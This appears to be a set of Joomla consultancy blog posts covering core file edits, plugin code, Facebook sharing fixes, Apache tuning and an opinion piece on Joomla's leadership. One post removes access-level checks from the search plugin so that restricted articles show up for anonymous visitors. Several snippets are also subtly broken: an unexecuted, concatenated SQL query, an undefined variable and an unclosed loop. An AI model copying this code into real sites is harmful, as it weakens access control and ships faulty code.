  • Make sure you surround yourself with the right technical people: It is always a good idea to have the contact information of some Joomla experts (such as, ahem, itoctopus) ready in case you run into any issues during the migration process.

If you want help migrating your website to Joomla 3 (even if you have a very old version of Joomla – yes, including Joomla 1.0), then you’ve come to the right place. Just contact us and we’ll do it for you as fast as we can and for a very affordable fee – and the best part is that you won’t even notice that your website has been migrated (that’s how good we are)!

How to Show Published Articles by Default in Joomla’s Article Manager

Note: The solution described in this post requires you to make a simple modification to a couple of Joomla core files. If you are not comfortable with that, then please contact us (we can do this with a plugin).

If you have been using Joomla for a long time, then you are probably a bit annoyed by the fact that every time you go to the Article Manager (when you first login), you will see both your published and your unpublished articles, and that you will have to select Published from the Status dropdown to see only your published articles (by default, Joomla will show both Published and Unpublished articles).

So, how what can you do to show the published articles by default?

Well, it’s very simple, all you need to do is the following:

  • Open the file filter_articles.xml located under the administrator/components/com_content/models/forms folder.
  • Add the following line:

    default="1"

    Just under:

    name="published"

  • Upload the file back to your Joomla website.

  • Open the file articles.php located under the administrator/components/com_content/models folder.

  • Locate the following line:

    $published = $this->getUserStateFromRequest($this->context . '.filter.published', 'filter_published', '');

    and replace it with the following line:

    $published = $this->getUserStateFromRequest($this->context . '.filter.published', 'filter_published', '1');

  • Upload the file back and presto! The Article Manager in your Joomla’s backend will only display the published articles by default.

As stated in the beginning of the post, this is a core modification (albeit a very simple one), which means that any update to your Joomla website might overwrite it. An alternative to the above (that doesn’t require a modification to the core) is developing a plugin that will inject a default filtering into the Article Manager, but it wouldn’t be that easy and it would require some serious development skills.

If you need help doing the above (or if you want the plugin alternative), then please contact us. We can do it for you in no time and for a super affordable fee. Go ahead, give us a call (we always answer the phone) or shoot us an email!

How to Modify Joomla’s Head Data Through PHP

We are currently developing a small plugin to modify head data prior to serving the page. Although we have done something similar quite a few times before (changing the code inside the head tag), it is the first time that we describe how to do this from an extremely technical perspective.

In short, we use the function setHeadData to do that. The function setHeadData is a method belonging to the JDocument class (it actually belongs to the JDocumentHTML class which extends the JDocument class).

The function setHeadData takes an array as a parameter, and that array consists of one or more of the following items (note that there are other items of lesser importance/usage that we haven’t mentioned below):

  • title: The (browser) title of the current page. title must be a string.

  • description: The meta description of the current page. description must be a string. Make sure that you keep it around 250 characters.

  • stylesheets: The CSS stylesheets to be assigned to the current page. stylesheets can be a string (if there is only one stylesheet to be assigned) or an array (if there are multiple stylesheets to be assigned).

  • scripts: The JavaScript script files to be assigned to the current page. Similarly to stylesheets, scripts can be a string or can be an array.

Here’s a quick example:

$currentDocument = JFactory::getDocument();
$data = array(
	'title' => 'Title of the page',
	'description' => 'Description of the page',
	'stylesheets' => array(
		JURI::root.'plugins/your-plugin-name/css/style1.css',
		JURI::root.'plugins/your-plugin-name/css/style2.css'
	),
	'scripts' => JURI::root.'plugins/your-plugin-name/javascript/script.js');
$currentDocument->setHeadData($data);

The above code must be added in the event onContentBeforeDisplay in your content plugin to have the proper effect.

But, how does one get the head data?

Well, by using the function getHeadData of course. getHeadData is also a method belonging to the JDocument class. The method returns an array mainly containing the browser title, the meta description, and the CSS and JS files included in the head tag. You can use it the following way:

$currentDocument = JFactory::getDocument();
$arrHeadInformation = $currentDocument->getHeadData();

There you have it. Now you know how to set and get head data!

If you need help implementing/customizing the above, then all you need to is to contact us. We can do it for you in very little time and for a very reasonable cost. What are you waiting for? Give us a call or shoot us an email!

Joomla’s Biggest Threat

This post is an opinion. It has no technical information whatsoever. Just a heads up in case you wanted to read this post because you thought it was about securing a Joomla website.

We love Joomla. We make a living out of it, it puts bread on our table, it feeds our precious babies, and if we see something wrong with it, we feel that we should mention it so that corrective action can be taken.

Recently, we are noticing an ever-growing – and dangerous – issue with Joomla: the divergence between Joomla’s core developers and the Joomla community. We have started noticing this issue back in March, during the LGPL discussion of the Joomla framework. Joomla developers insisted on changing the license of Joomla from GPL to LGPL, but the majority of the Joomla users were against it. At the end of the day, the decision was to move to LGPL, leaving a sour taste for both the developers (who thought they had the right to do that change anyway without consent from the community) and the users (who thought that their voices didn’t count).

It has been downhill ever since, with some prominent Joomla core developers publicly accusing users of “holding Joomla back” on various social platforms (mainly Twitter). These developers also claim that the Joomla community doesn’t have any rights to make any decision concerning the future of Joomla, simply because the community is not involved in the development.

We think this is wrong. One of WordPress’ strengths is that they listen to the community and they act upon requests from the community, and we’re not talking only about bug fixes, we’re talking about features. Most of WordPress features actually stem from the community. Unfortunately, the same cannot be said about Joomla where most of the new features are initiated (and later implemented) by the developers. In fact, some features which were used and loved by Joomla administrators in Joomla 1.5 were removed from subsequent versions of Joomla (including, but not limited to: XML sitemaps, PDF generation, and a few useful modules).

What’s surprising is that Joomla’s core developers are becoming more and more oblivious to the role of Joomla’s community in determining the future of Joomla. Even if Joomla is the best CMS in the world (and it might be), if no one is using it, then it has no value. In fact, we are tempted to say that (some) core Joomla developers have a certain disdain for the users, after all, users are not entitled for anything because Joomla is free.

Joomla is free, but that doesn’t mean that the core developers are not making money out of it. In fact, all of them have some serious consulting businesses built around Joomla, and the more users are using Joomla, the more money there is in supporting Joomla and developing for Joomla. How come core Joomla developers are not grasping this simple and very obvious business concept?

If the situation remains like this, then we suspect that a backlash by the frustrated Joomla community will be imminent, and that backlash can take only one form: massive exodus to another CMS, possible WordPress. We don’t think this’ll be in anyone’s interests, especially for the Joomla core developers.

But that’s not Joomla’s biggest threat…

Joomla’s biggest threat, in our opinion, is the lack of leadership, which results (in addition to the above) in the following:

  • Constant bickering between Joomla core developers: Checking github and Google groups discussions will give you a clear idea on how the Joomla core developers are split into several warring factions, leading to serious losses in productivity and botched releases. Additionally, this constant bickering has a very negative impact on the perception of Joomla as a reliable CMS. If those working on the project can’t seem to agree over anything, then how can people trust Joomla?

  • Rushed updates that lack the necessary quality control: The latest Joomla releases (for both 2.5 and 3) are a proof of the minimal testing done before releasing updates for a very important CMS.

  • Inflated ego amongst developers: This issue is growing and is intimidating new developers from joining the development team. We don’t like to say this, but some Joomla core developers are just plain rude (believe it or not some brag about being rude), even to those who really want to help making Joomla better.

  • Multiple visions/no clear vision for the future: What should Joomla be? Should Joomla remain as an easy to use CMS that anyone can use, or should it be something else, something more (or something less)? The lack of one clear vision is also obvious in github and Google groups discussions. Yes, there is a roadmap, it just seems though that not everyone is on board.

  • Lengthy decision making process for simple issues: This affects many areas in the Joomla ecosystem, including, but not limited to: adding new features, fixing bugs, approving extensions, etc…

  • Lack of transparency: How are extensions approved/rejected (we don’t like to say this, but we seriously question the extension approval process)? Who approves them? Who approves/rejects those articles posted on the Joomla magazine? What are the standards for having an article posted on the magazine (sometimes it seems that the standards are really low, and sometimes it seems that they are quite high)? etc…

  • Ambiguous hierarchy: Who reports to whom? It seems to us (and we might be wrong) that all the developers are at the same level, which means that developers are only answerable to themselves, which is not a good thing.

So, is the future that gloomy for Joomla? Is there no hope?

There is hope, there is always hope! But some drastic changes must be done within Joomla’s development community. The developers must put aside their differences and must all make some serious concessions and choose a leader (not a leadership team, but a leader): someone who has the experience and the vision to take Joomla to the next level, someone whose decisions are respected by everyone, someone whose authority is unrivaled and unquestioned. The first task that the leader should work on is creating a clear hierarchy and assigning key Joomla people to different roles. Those key Joomla people will then create their own sub-hierarchies to support their roles. Conflicts between different roles in the hierarchy should be resolved by the leader, conflicts within a single role should be resolved by the role leader.

But even if a leader is not chosen, there is still hope. There is still hope because there are people like us who believe in Joomla, who will work very hard, day and night, to see Joomla thrive. Joomla’s success is critical to our business, and that’s why we treat it as our product. As long as there are people like us, you can rest assured that Joomla is here to stay!

Don’t Update Your Joomla Website on the Same Day of Releasing the Update

Earlier this week, Joomla released 2 updates: Joomla 2.5.23 and Joomla 3.3.2. Less than 24 hours later, Joomla released another 2 updates, Joomla 2.5.24 and Joomla 3.3.3. It turned out that the first 2 updates had issues: they were causing problems with email obfuscation. It’s really hard to imagine how come no one tested email obfuscation before releasing those updates (which contained some changes in that particular area).

But, this post is not about criticizing Joomla’s quality assurance, but it’s about conveying a message to all Joomla administrators who are so eager to click that update button without even backing up their website first. That message is:

“Wait a couple of weeks after the update release to update your Joomla website.”

Every time there’s a Joomla update, we have an influx of new clients asking us to fix their websites. Now, while we make money out of this, we’d rather be making money creating more features or enhancing Joomla websites.

But, what if Joomla’s update is a security update? Should you also wait a couple of weeks? Well, in this case, you shouldn’t, and that’s why we will need to slightly modify our message above to the following:

“Wait a couple of weeks after the update release to update your Joomla website, unless that update is a security update, in which case you should only wait 24 hours”

But why wait a full 24 hours if it’s a security update, we hear you wondering. Wouldn’t that put the Joomla website at risk of getting hacked? Well, yes, this is true, but also updating it within 24 hours will put it at another risk: crashing. So, it’s up to you to choose which risk you prefer to take. Note that you can always lock down permissions on your Joomla website to completely protect it, which makes waiting for 24 hours a better option.

So, if you’re tempted to update your Joomla website the moment an update is announced, then it would be wise to consider the disastrous consequences of a buggy update before doing so. If you have already done so and your website (and yourself) is now suffering, then do contact us. We are here to help, our prices are affordable, and we’ll ensure that everything’s back to normal in no time!

Why It Is a Bad Idea to Run WordPress from Within Joomla

If you’re regularly following the news about major CMS’s, then you’d have probably heard by now that over 50,000 WordPress websites were hacked in the course of a few days. Potentially, another million or so WordPress websites could be also compromised. The cause of this onslaught of hacks is an exploit in a WordPress plugin (by the way, the term “plugin”, in WordPress, can be the equivalent of a Joomla component, module, or plugin) called MailPoet. The exploit allowed the attacker to upload a PHP script into the website, giving him absolute power over the website.

Now, what does this have anything to do with Joomla? It’s a WordPress exploit, and not a Joomla exploit, after all.

Yes, we know that, but we have worked on quite a few Joomla websites where the blog is powered by WordPress, either using a Joomla extension (the extension is typically corePHP’s WordPress Blog for Joomla), or by just uploading WordPress into a sub-directory of the Joomla website. We don’t like this practice, and we don’t like it for 3 reasons:

  1. The administrator has two websites to maintain, and not just one: two websites where the core and the extensions (plugins) must be always updated, two websites to secure, two websites to optimize, etc…
  2. Any exploit on either site is potentially contagious, which means that an exploit can very well lead to two hacked websites, which means that the administrator has to clean two websites, instead of one (or he must pay for the cleanup of two websites).

  3. There are nearly always SEF issues because of conflicts between the .htaccess located under the root directory of the Joomla website, and that located under the root directory of the WordPress website (which is a sub-directory of the Joomla website).

An additional (yet far less critical) problem, is that the administrator has to maintain a consistent look & feel on two different CMS’s, and not just one. That’s not an easy task and it’s very, very time consuming.

So, what can you do if you really want a blog on your Joomla website?

Well, you don’t have to install WordPress at all, you can use Joomla! Yes, you can create some template overrides for your content to make it look like a blog, you can install a commenting extension such as JComments (or maybe embed Disqus through the use of a plugin or a module), and you’re off to go. Better yet, you can use K2 (which also works very well with JComments) to build your blog! You really do not need to have a WordPress website within your Joomla website to make that blog happen.

If you’re currently running a WordPress website within your Joomla website, and if you want to consolidate all your content in your Joomla website, then we can help. All you need to do is to contact us and we will do it for you in very little time and for a very affordable cost.

Modifying Joomla’s Search to Display Restricted Articles for Unregistered Users

Some websites have the following business model:

  • They display, on a certain page(s), a list of articles with a teaser for each article.
  • The visitor clicks on an article of his choice.

  • If the user is not an already subscribed member (and if he’s not logged in), then he’ll be redirected to a page where he should subscribe (possibly by making a purchase) before reading that article. If the user is already a subscriber (and logged in), then he’ll be redirected to the full article.

The above business model is easily applicable on a Joomla site: all one needs to do is to set the access level of each and every article to Registered and then only registered (subscribed) visitors can read it, and those who are not, are forced to register.

However, there is a small problem with the above business model: what if a visitor (who has not yet subscribed) tries to search for a restricted article (an article that is only available to registered users) through Joomla’s search functionality? Naturally, the visitor will not be able to find the article because he simply doesn’t have access to it. Of course, this means that the business will lose potential clients because people think that the content they’re looking for doesn’t exist on the website.

So, how can this be fixed?

Well, it can be fixed easily, very easily. Here’s how:

  • Open the file content.php located under the plugins/search/content folder (it would be very wise to backup this file first).
  • In the function onContentSearch, delete all occurrences of:

    AND a.access IN (' . $groups . ')

    and:

    AND c.access IN (' . $groups . ')

  • Save the file and upload it back.

  • That’s it! Your search results should also display restricted articles – articles that used to only show up for registered users.

Of course, the above solution consists of a core modification. If you don’t like that (possibly because you know that future updates may wipe out your changes), then what you will need to do is to create a new search module and a new search plugin that will work together in order to display the results. It’s not really hard work to do that, but it’s more work.

If you want to display all articles in the search results, regardless of the user’s access levels, then try the above patch. It should work. If you don’t know how to do it or if you want the more robust solution, then please contact us. We’re always ready to help, our work is very clean and professional, our fees are very affordable, and we always welcome new clients with open arms!

Blank Page on a Joomla Website Powered by a RocketTheme Template

We have discussed blank pages on Gantry templates before, but yesterday, a client called us and told us that the suggested fix did not work for him.

So, we checked his website, and we discovered that although he was seeing a blank page, the HTML code wasn’t empty. In fact, the HTML code was full of the following commented code:

<!-- Unable to render layout... can not find layout class for mod_standard -->

Hmmm…

So we asked the client on whether he did something on his website that might have caused this, and he told us that the only thing that he did was moving his website from development to production. Aha! We thought, what if Gantry’s cache became corrupt because of the move?

So we deleted the Joomla cache by going to Site -> Maintenance -> Clear Cache and then selecting all the cached items by clicking on the checkbox next to the # sign and then clicking on Delete on the top right. That fixed the problem!

If you have moved your Joomla website (which is using a RocketTheme template) from one location to another (either on the same server or to a different server), then try clearing the cache folder (if you don’t want to delete your whole cache then simply removing the gantry folder under the cache folder will also fix the problem), and see if that solves the problem. If it doesn’t, then please contact us. We will help you fix the problem in no time and for a very affordable fee!

How to Completely Disable the Mail Functionality in Joomla

In software products, having features that you don’t need is generally a good thing. However, if an unneeded feature is causing more harm than good, then it’s probably a good idea to completely disable it.

For example, one of Joomla’s features is the ability to send e-mail (the mail sending functionality is used for notifications, newsletters, password resets, etc…), but, unfortunately, the word “mail” is a spammer magnet, and that’s why spammers often exploit Joomla’s mail feature to spam people.

Securing your Joomla website and keeping its core and all your extensions up-to-date may prevent that. But, what if you don’t have the experience to do that? Or what if you can’t afford to hire someone to do it for you? Should you ignore the issue? Should you turn a blind eye to the fact that your website is used to spam people? If you do, then rest assured that your host won’t, and at one point, they will shut down your site completely because it will harm the reputation of their entire network. Oh, and by the way, they will shut down your website before letting you know (hosting companies, by the way, are very rigid when it comes to spam).

So, what you should do to prevent your Joomla site from sending out spam emails?

Well, you have 2 options:

  1. Keeping your website and extensions up-to-date and ensuring that your website is not hacked.

  2. Disabling Joomla’s mail functionality.

Assuming you can’t go with option #1 for one reason or another, how can you completely disable Joomla’s mail functionality?

Well, it’s very simple. Here’s how to do this:

  • Open the phpmailer.php file located under the libraries/phpmailer folder under your Joomla directory.

  • Go to this line in the code (should be line 585 in Joomla 2.5):

    public function Send() {

  • Add the following line just below it:

    return true;

  • Save the file and upload it back.

  • That’s i!

Once you do the above, then your Joomla website won’t be able to send any mail, which means that even your contact us page won’t work. So, you should only do this if you don’t expect any legitimate mail to be sent from your Joomla website.

Also keep in mind that you’ll be changing a core file, which means that a future Joomla update may overwrite your changes (so, you’ll need to do these changes again).

If your website is sending out spam and you need help shutting down the Joomla mailing feature, then try implementing the above. It should work, but if, for any reason, it doesn’t work, or if you need help implementing it, then please contact us. We’ll do it for you in no time and for a very affordable fee!

No/Wrong Thumbnail Image When Sharing K2 Articles Through Facebook

Note: This post is not about setting a default share image for your K2 content on Facebook. If you want to do that, then you’re better off checking this post.

Content editors working for a major client of ours were having an issue when they were trying to share their K2 articles through Facebook. The issue was simply that Facebook was not generating the right thumbnail image (or was not generating a thumbnail at all). Here’s what they were doing:

  • They were creating an article through K2.

  • They were adding an image (or several images) inside the article.

  • They were trying to share that article on their Facebook account.

  • Facebook wasn’t showing the thumbnail image of the K2 article (or was showing the wrong thumbnail image, such as their website’s logo).

They called us late last week and they told us about the problem, and pointed us to an article they had just created but couldn’t get Facebook to display its thumbnail image. So, we checked the HTML code of that article, and we couldn’t find any og:image meta tag anywhere in the code. All the other Open Graph meta tags were there (recent versions of K2, for those who don’t know, automatically generate Open Graph meta tags without the use of any additional 3rd party plugin), which was odd. What could it be?

We then checked the K2 article in the backend, and we noticed that they have added the image to the Content portion of the item, and not through the Image tab. Hmmm – we started suspecting something… So, we searched for the code responsible for adding the og:image meta tag in the HTML, and we found this in the view.html.php file (located under the components/com_k2/views/item folder):

$image = substr(JURI::root(), 0, -1).str_replace(JURI::root(true), '', $item->$facebookImage);
$document->setMetaData('og:image', $image);

If you’re a programmer, you’re probably thinking right now, what on Earth is $item->facebookImage? Well, it’s actually the size of the image that you want to share through Facebook. You can set it by going to the K2 component in the backend (by clicking on Components -> K2), and then clicking on Parameters on the top right, and then clicking on the Social tab, and finally choosing the image size from the dropdown next to Image size to use when posting K2 items on Facebook. Now we have read the code responsible for generating the og:image meta tag nearly a dozen times, but, for the life of us, we couldn’t figure out a scenario where that code would would actually work as it should. Yes – we have discovered a bug!

Quite frankly, we thought that the problem was because the image was being embedded directly into the content instead of being added through the Image tab, but that wasn’t the case. We were wrong. The cause of the problem was a bug in the K2 code. There was nothing that they (the client) could’ve done to fix the problem from within K2’s interface in Joomla’s backend.

So, how did we solve the problem?

Well, we opened the file item.php located under the components/com_k2/templates/default folder (note that for those with an overridden K2 template, the file to edit would be located somewhere under the templates/template-name/html/com_k2 folder) and we added the following code at the beginning of the file (just below the defined(’_JEXEC’) or die; statement):

$document =& JFactory::getDocument();
preg_match('/<img [^>]*src=["|\']([^"|\']+)/i', $this->item->introtext, $arrImages);
if (!empty($arrImages[0])){
	$image = JURI::base().$arrImages[1];
	$openGraphImage = '<meta property="og:image" content="'.JURI::base().$arrImages[1].'"/>';
	$document->addCustomTag($openGraphImage);
}

The above code searches (using Regular Expressions or regex) the content inside the introtext field for images, and, if it finds any, then it sets the og:image meta property to the path of the first image found.

Adding the above code fixed the problem for our client. They were happy and we were happy, because we fixed their problem and we made an excellent Joomla extension (K2) even better.

If you’re not seeing any thumbnail images when sharing your K2 articles on Facebook, then try the above solution. It should work. If it doesn’t, then try extending the search for images to include the fulltext attribute ($item->fulltext) in addition to the introtext attribute. If it still doesn’t work (or if you don’t have the necessary programming background to deploy the above solution), then please contact us. We are eager to help, we are professional, we are hard working, our customers love us, and we don’t charge much!

How to Add a Module Position in a Joomla Template Layout File

Note: A pre-requisite to implement the solution in this post is to install and activate the Modules Anywhere plugin by NoNumber. That plugin is much better than Joomla’s own plugin (Content – Load Module) of injecting modules into a page (e.g. {loadposition …} and {loadmodule …}). It’s amazing that Joomla still hasn’t created a reliable plugin that does this simple job.

If you’re comfortable with Joomla development, then you probably know that you can add module positions to your template by adding the following code to the index.php file located under the templates/[template-name] folder:

<jdoc:include type="modules" name="module_position" style="module_style" />

The module_position is the position of the module, such as top. The module_style is the style of the module, such as none (no style) or xhtml (we have discussed module styles in passing here).

But… what if you wanted to add a module position to say, somewhere after the 2nd leading article in a featured view (or between the featured and the intro items)? You just can’t do that in the index.php, you must do it in the default.php file located under the templates/[template-name]/html/com_content/featured folder. But, if you add the above <jdoc… code to that file, then you will notice that the Joomla template parser will not parse it, which means that the <jdoc… code will display, unchanged, on your website’s frontend. Unless your intention is to show your code to your users, then you must find another way to include your module.

Thankfully, we have devised a simple and yet efficient way to address this problem at itoctopus. Here’s how to do it (we will use the above scenario as an example):

  • Open the default.php file located under the templates/template-folder/html/com_content/featured folder.

  • Just below:

    JHtml::addIncludePath(JPATH_COMPONENT . '/helpers');

    Add the following code:

    $arrModules = JModuleHelper::getModules('[position-of-your-module]');
    $arrModuleIds = array();
    for ($i = 0; $i < count($arrModules); $i++){
    	$arrModuleIds[] = $arrModules[$i]->id;

  • Now, in the location where you want to display the module(s) (there may be several modules allocated to the same module position), you will need to add the following code:

    for ($j = 0; $j < count($arrModuleIds); $j++){
    	echo('{module '.$arrModuleIds[$j].'}');
    }

  • Now you will need to save the file and upload it back. You will now notice that your modules are displaying in the location of your choice.

If the above didn’t work for you, then you will need to check for the following:

  • Are you using caching? If yes, then disable it and see if it works.

  • Are you sure you have the Modules Anywhere plugin by NoNumber installed and activated?

  • Are you sure that your module doesn’t modify the rest of the content (there are some complex modules that do that, we have developed quite a few of them for our clients)? An example where a module may modify the rest of the content prior to adding its own code is to add some JavaScript code to the <head>. If that’s the case, then you will need to add a hidden div layer in the index.php file (of your template), and, inside it, include the module using the <jdoc… statement, that’s in addition to doing the above. Of course, this solution might cause other issues, and you may need to modify some code in the module itself.

If you want to display modules in a specific view of your Joomla website, then try the above solution, it should work. If, for any reason, it doesn’t, or if you think it’s too technical for your own taste, then please contact us. We’ll do it for you in no time and for a very, very affordable cost. We’re also the friendliest programmers in the whole wide world!

How to Hide a Component in Joomla’s Backend Without Uninstalling It

It’s Friday, it’s sunny here in Montreal, the sky is blue, and we think it’s better to write about a Joomla tidbit instead of going out and enjoying the sun. How is that for dedication?

Anyway, if your Joomla backend is cluttered with extensions that you’re not using but you don’t want to install, then we have some good news for you: you can hide them (so that they won’t appear anywhere in your menu). You can do that without installing yet another 3rd party extension, you can do that without modifying the code or the filesystem, and you can do that without modifying the database through phpMyAdmin. Joomla has a little known secret (well, not anymore) that allows you to do that. All you need to do is the following:

  • Login to the backend of you Joomla website.
  • Click on Extensions -> Extension Manager on the top menu, and then click on Manage below.

  • Search for the extension that you want to hide (it might be anything: a component, a module, a plugin, a template, etc…).

  • Click on the green check mark next to it (under the Status column). That should turn it into a red hollow dot, which means that it’s disabled.

  • That’s it!

Note that doing the above will not delete any data associated with the extension, it’ll just hide the extension from your website.

But, what happens if you have created some modules and then you disabled the module’s extension?

That’s an interesting question. Try, for example, creating a Who’s Online module in the Module Manager, and then go to the Extensions Manager and disable the Who’s Online module extension. Now go back to the Module Manager, and you will notice an amber exclamation mark next to the module (instead of the green checkmark), if you hover over it it’ll read “Extension Disabled”. The module is still published but won’t display on the site because the extension has been disabled.

We hope that this little and light post was helpful to our readers.

Now, if you want to disable some extensions but the above is not working for you, then please contact us. We can help you do that in no time and for a very affordable fee. We are reliable, we are professional, and we are really, really friendly programmers (the term “friendly programmer” is typically an oxymoron by the way, which makes us unique amongst programmers)!

How to Allow Your Visitors to Switch to a Different Joomla Template from the Frontend

Heads up: To implement the solution in this post, you will need to install Jumi, which is a free Joomla extension that allows you to place PHP code anywhere on your Joomla website.

This past weekend, a client of ours called us and told us that he wanted to place a button on his website that people with disability issues can click on to switch from the main website template to another, much more accessible template. As usual, we immediately obliged!

It wasn’t a hard task as our client expected. All that we needed to add was to create a site-only system plugin with the following PHP code in the onAfterInitialise function:

$session = & JFactory::getSession();
$currentTemplate = $session->get('currentTemplate', '');
$application = JFactory::getApplication();
$jinput = $application->input;
$switchTemplate = $jinput->get('switchTemplate', 'false', 'filter');

if (empty($currentTemplate) && $switchTemplate == 'false'){
	//The user has not tried to change the default template and the default template is the one currently set
	//Do nothing

}
elseif (!empty($currentTemplate) && $switchTemplate == 'true'){
	//The user is trying to switch back to the default template
	$session->set( 'currentTemplate', '' );
}
elseif ((!empty($currentTemplate) && $switchTemplate == 'false') || (empty($currentTemplate) && $switchTemplate == 'true' )){
	//The user has not tried to change the template but the accessible template is set OR the user
	//has tried to change to the accessible template.
	$db = JFactory::getDbo();
	$sql = "SELECT template, params FROM #__template_styles WHERE template='".$accessible_template."'";
	$template = $db->loadAssoc();
	if (!empty($template)){
		$application->setTemplate($template['template'], (new JRegistry($template['params'])));
		$session->set( 'currentTemplate', $accessible_template );
	}
}

In short, the above code will check the $_SESSION and the $_GET variables to see if the user has switched (or not) to a different template. It’ll also save the current template used in the $_SESSION using Joomla’s JSession object.

After creating the plugin, all that we needed to do was to create a simple Jumi module to display the button to switch back and forth between the template.

Note: Our code assumes that you’ll only be switching to only one template (and back to the original template). If you want to allow your users to switch to an array of templates, then the code above will need to be substantially changed (you will also need to change the Jumi module). As usual, you can always contact us for help.

Another note: We might, at some point in time in the future, release an advanced plugin that does all the above (and much more). Stay tuned!

If you need help implementing the above, please contact us and we’ll do the implementation for you. Our prices are right, our work is exceptional, and we are the friendliest programmers on this galaxy (assuming, of course, that Earth is the only inhabited planet)!

A Joomla Plugin to Easily Embed Brightcove Videos

Large corporations don’t typically use YouTube to host their videos, they use something else, something like Brightcove. The reason why they do that is because Brightcove is a paid video hosting platform, which means that they can get support if they run into problems, and they can hold the company (Brightcove) accountable if something goes wrong (unlike free video hosting services, where you get the service as is).

For those corporations that embed Brightcove videos on their Joomla websites, we have excellent news for you! We have created a Joomla plugin that will allow you to easily and reliably embed Brightcove videos on your website. But, why are we providing this plugin? Isn’t embedding Brightcove videos as simple as pasting some JavaScript into the HTML source code of a content item?

Well, yes, but the problem with Brightcove videos is that the JavaScript gets messed up if you toggle the editor from HTML view to source code view (or vice versa). No matter which Joomla editor you use, when you toggle the view, the object tag gets modified to include the following:

data="" type="application/x-shockwave-flash"

and the following additional parameter will be added:

<param name="movie" value="" />

This results in the corruption of the embed code, which means that the video will no longer display on the Joomla website. The reason why this problem happens is a core JavaScript functionality that is common to all Joomla editors. That functionality (wrongly) assumes it’s a good thing to modify the embed code to include the above.

Now, if you use our plugin, you will protect any Brightcove embeds you have on your Joomla website from these changes, because the code that you will use to add Brightcove videos will be as simple as the following:

{brightcrove|width|height|playerID|playerKey|videoPlayer}

With the exception of brightcove in the code above, all the fields are dynamic and are self explanatory. The value of these fields can be found in the embed code of your Brightcove video. For example, to generate the following embed code on your Joomla site:

<script language="JavaScript" src="http://admin.brightcove.com/js/BrightcoveExperiences.js" type="text/javascript"></script>
<object id="myExperience987654321" class="BrightcoveExperience">
	<param name="bgcolor" value="#FFFFFF" />
	<param name="width" value="500" />
	<param name="height" value="300" />
	<param name="playerID" value="123456789" />
	<param name="playerKey" value="ABCDEFGHIJ" />
	<param name="isVid" value="true" />
	<param name="isUI" value="true" />
	<param name="dynamicStreaming" value="true" />
	<param name="@videoPlayer" value="987654321" />
</object>
<script type="text/javascript">// <![CDATA[
	brightcove.createExperiences();
// ]]></script>

You will need to add this to your content item:

{brightcrove|500|300|123456789|ABCDEFGHIJ|987654321}

And that’s it!

The plugin is available for free (under the GPL License) and can be downloaded from here. The plugin is written for Joomla 2.5 but should also be compatible with Joomla 3.x (we haven’t tested it).

Please note that this plugin is provided “as is”, and, although we completely trust our code, we cannot be held accountable for any direct/indirect issues the plugin may cause on your website.

If you want support for the Brightcove Joomla plugin, then please contact us. Note that our super affordable fees apply.

“Save failed with the following error: Invalid parent ID” Error on Joomla

A client called us this evening and told us that all of a sudden, everytime he tried saving an article belonging to a certain category (it was the “Technology” category), he was seeing the following error:

Save failed with the following error: Invalid parent ID

He told us that articles belonging to other categories save fine, and if he switches the category of an article belonging to the “Technology” category to a different category, then that article will save fine. Hmmm… Usually, whenever we see something like this we think about a corrupt entry in the #__assets table.

So, the first thing that we did was that we logged in to the backend and then went to the Content -> Category Manager, and then clicked on Rebuild on the top right. That didn’t solve the problem…

The next thing that we did was that we opened the “Technology” category, and then clicked on Save on the top right. That fixed the problem! Joomla has automatically fixed the corruption in the #__assets table for that entry simply by saving it again.

But, why did the problem happen in the first place?

We really have no idea what caused this problem to happen, and our client was not interested in conducting an investigation to find out the root cause of this issue. Our guess is that the cause of this problem is a 3rd party extension that didn’t handle the #__assets table properly, and so it caused the corruption.

If you are seeing the above error on your Joomla website, then try rebuilding the categories in the Category Manager, if that doesn’t work, then try re-saving the category. If that still didn’t fix the problem, then your best option would be to contact us so that we can fix the problem for you. Our prices are affordable, our work is professional, and you’re sure to gain new friends who actually care about your business! What are you waiting for?

Your Joomla Website Is Really Really Slow? Maybe You Hit the Maximum Number of Apache Clients!

One of our prominent clients is a US racing magazine. The magazine has a Joomla website that discusses everything related to racing, such as Formula 1, Indy 500, NASCAR, etc… The website has a lot of content and receives a substantial amount of visitors. The problem was that during peak hours, the website became very slow!

We optimized the Joomla website, but still, we noticed that as soon as the website reached a couple of hundred simultaneous requests, everything became slower, much, much slower, despite having a load lower than 1. We suspected the firewall, but the host confirmed that there was no bottlenecks at the firewall.

Now what could cause the website to be suddenly slow and non-responsive once it reaches a specific number of requests? It can’t be a Joomla extension, that’s for sure. It might be the firewall (but the host, again, confirmed that the firewall settings were non-problematic), and it can’t be a hack (although we did check whether the website was hacked, just to be sure).

We then asked the host to completely take our client’s server off the firewall, and they did (usually hosts refuse to accommodate this request but our client was just too big), still, the problem was still there and the website was losing visitors and potential advertising revenue.

We spent many hours investigating the problem, until we found out that the server was hitting the Maximum Number of Clients allowed (the value of which is set at the Apache level). Here’s how we found out:

  • We logged in to WHM.

  • We clicked on Server Status and then we we clicked on Apache Status.

  • We saw the following message:256 requests currently being processed, 0 idle workers.

Aha! The server was running out of free workers (or free clients) and that’s why all the other requests were waiting until there are available clients. So, to fix the problem, all that we needed to do was to increase the Maximum Number of Clients setting in Apache (the Maximum Number of Clients is the maximum number of requests [or connections] that the server is allowed to handle simultaneously). Here’s how we did that:

  • We logged in to the WHM Control Panel of the website.
  • We clicked on Server Configuration, and then clicked on Apache Configuration, and finally clicked on Global Configuration.

  • We changed the value of Server Limit from 256 to 512 and we changed the value of Max Clients from 256 to 512.

  • We saved the configuration, rebuilt the main Apache configuration file, and restarted Apache.

  • That fixed the problem.

If your Joomla website slows down dramatically after it reaches a certain number of requests, then it might be that it hit the maximum number of clients. Modify the Max Clients value in your Apache Configuration in WHM and you should be OK. If that doesn’t fix the problem, then please contact us and we’ll investigate the issue and we’ll definitely fix it. Our work is professional, our team is made of experts, and we don’t charge much.

Problems with Sharing Links of a Joomla Website on Facebook

One of our clients called us yesterday afternoon and told us that as of recently, whenever he tries to share a link from his website on Facebook, only the title of the link appears, the description and the image do not. Our client was using the latest version of Joomla, 3.3.1.

We checked the generated HTML code of his website and we noticed that all the Open Graph meta tags were there, specifically og:type, og:title, og:description, and og:image, all of them were properly formatted, and so there wasn’t any reason for the link sharing on Facebook not to work.

We checked the URL on Facebook’s OpenGraph Object Debugger, and it was returning the following error:

Object at URL ‘http://ourclientjoomlawebsite.com/’ of type ‘website’ is invalid because a required property ‘og:type’ of type ’string’ was not provided.

